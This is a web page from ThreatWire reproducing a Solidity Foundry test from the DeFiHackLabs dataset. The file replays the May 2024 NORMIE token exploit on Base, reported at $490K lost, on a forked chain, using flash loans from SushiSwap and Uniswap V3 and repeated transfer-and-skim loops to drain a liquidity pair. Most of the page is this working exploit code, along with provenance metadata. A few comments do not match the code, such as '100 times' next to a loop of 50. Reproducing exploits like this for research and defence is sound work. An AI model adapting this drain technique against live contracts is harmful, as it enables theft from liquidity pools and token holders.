Skip to content
THREATWIRE

Public reproduction file

src/test/2024-05/NORMIE_exp.sol

Public reproduction file for dataset entry NORMIE.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-05/NORMIE_exp.sol137 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6// @KeyInfo - Total Lost : $490K
7// Attack Tx : https://app.blocksec.com/explorer/tx/base/0xa618933a0e0ffd0b9f4f0835cc94e523d0941032821692c01aa96cd6f80fc3fd
8
9// Price : https://dexscreener.com/base/0x24605e0bb933f6ec96e6bbbcea0be8cc880f6e6f
11// @Exploiter sent a message to Normie Deployer:
12// https://basescan.org/tx/0x587f14b7ffb30b5013ab0db02e9bc94183817ef34c24a9595f33277e752f81eb
14// @Info
15// https://x.com/WuBlockchain/status/1794619680428282138
16// https://x.com/lookonchain/status/1794680612399542672
18contract ContractTest is Test {
19 address SushiRouterv2 = 0x6BDED42c6DA8FBf0d2bA55B2fa120C5e0c8D7891;
21 address SLP = 0x24605E0bb933f6EC96E6bBbCEa0be8cC880F6E6f;
23 address UniswapV3Pool = 0x67ab0E84C7f9e399a67037F94a08e5C664DC1C66;
25 address WETH = 0x4200000000000000000000000000000000000006;
27 address NORMIE = 0x7F12d13B34F5F4f0a9449c16Bcd42f0da47AF200;
29 function setUp() public {
30 vm.createSelectFork("base", 14_952_783 - 1);
32 uint256 ETH_balance_transfer_to_Zero_Address = address(this).balance - 3 ether;
34 payable(address(0)).call{value: ETH_balance_transfer_to_Zero_Address}("");
35 }
37 function testExploit() public {
38 console.log("---------------------------------------------------");
40 console.log("ETH Balance before this attack: ", address(this).balance / 1e18);
42 console.log("---------------------------------------------------");
44 // 1. Swap 2 ETH to NORMIE on SushiV2
45 address[] memory path1 = new address[](2);
47 path1[0] = WETH;
48 path1[1] = NORMIE;
50 Uni_Router_V2(SushiRouterv2).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 2 ether}(
51 0, path1, address(this), block.timestamp
52 );
54 uint256 NORMIE_amount_after_swapping = IERC20(NORMIE).balanceOf(address(this));
56 console.log("NORMIE amount after swapping", NORMIE_amount_after_swapping / 10 ** 9);
58 // 2. Flash Loan from SushiV2 Pair
59 IUniswapV2Pair(SLP).swap(0, 5_000_000_000_000_000, address(this), hex"01");
61 // 4. Flash Loan from UniswapV3Pool
63 Uni_Pair_V3(UniswapV3Pool).flash(address(this), 0, 11_333_141_501_283_594, hex"");
64 }
66 function uniswapV2Call(address, uint256, uint256, bytes calldata) external {
67 // 3. Transfer all NORMIE to Pair
69 uint256 NORMIE_amount_after_flashLoan_from_SushiV2 = IERC20(NORMIE).balanceOf(address(this));
71 console.log("NORMIE amount after FlashLoan From SushiV2", NORMIE_amount_after_flashLoan_from_SushiV2 / 10 ** 9);
73 IERC20(NORMIE).transfer(SLP, NORMIE_amount_after_flashLoan_from_SushiV2);
74 }
76 function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {
77 // 5. Approve NORMIE to SushiRouterv2
79 IERC20(NORMIE).approve(SushiRouterv2, type(uint256).max);
81 address[] memory path2 = new address[](2);
83 path2[0] = NORMIE;
84 path2[1] = WETH;
86 // 6. Swap 80% NORMIE to WETH on SushiV2
88 Uni_Router_V2(SushiRouterv2).swapExactTokensForETHSupportingFeeOnTransferTokens(
89 9_066_513_201_026_875, 0, path2, address(this), block.timestamp
90 );
92 // 7. Trasnfer remian NORMIE to slp
94 uint256 NORMIE_amount_after_swap_from_SushiV2 = IERC20(NORMIE).balanceOf(address(this));
96 console.log("NORMIE amount after swap From SushiV2", NORMIE_amount_after_swap_from_SushiV2 / 10 ** 9);
98 IERC20(NORMIE).transfer(SLP, NORMIE_amount_after_swap_from_SushiV2);
100 // 8 . Looping tranfer and skim for 100 times
102 for (uint256 i; i < 50; ++i) {
103 IUniswapV2Pair(SLP).skim(address(this));
105 IERC20(NORMIE).transfer(SLP, NORMIE_amount_after_swap_from_SushiV2);
106 }
108 // 9. Skim but not tranfer again
110 IUniswapV2Pair(SLP).skim(address(this));
112 // 10. Swap 0.5 ETH to NORMIE on SushiV2
114 address[] memory path1 = new address[](2);
116 path1[0] = WETH;
117 path1[1] = NORMIE;
119 Uni_Router_V2(SushiRouterv2).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 2 ether}(
120 0, path1, address(this), block.timestamp
121 );
123 // 11. Repay FlashLoan to UniV3Pool
125 IERC20(NORMIE).transfer(UniswapV3Pool, 11_446_472_916_296_430);
127 // 12. Calcutelate Profit
129 console.log("---------------------------------------------------");
131 console.log("ETH Profit after this attack: ", address(this).balance / 1e18);
133 console.log("---------------------------------------------------");
134 }
136 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “NORMIE” (2024-05-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attack Tx

    0xa618933a0e0ffd0b9f4f0835cc94e523d0941032821692c01aa96cd6f80fc3fd

File record

Name
NORMIE
Path
src/test/2024-05/NORMIE_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ff11c18478ca47ebbf5ddc8ab44cdd62007c4a69
Language
Solidity
Size
138 lines
Date
2024-05-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-05/NORMIE_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ff11c18478ca47ebbf5ddc8ab44cdd62007c4a69, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.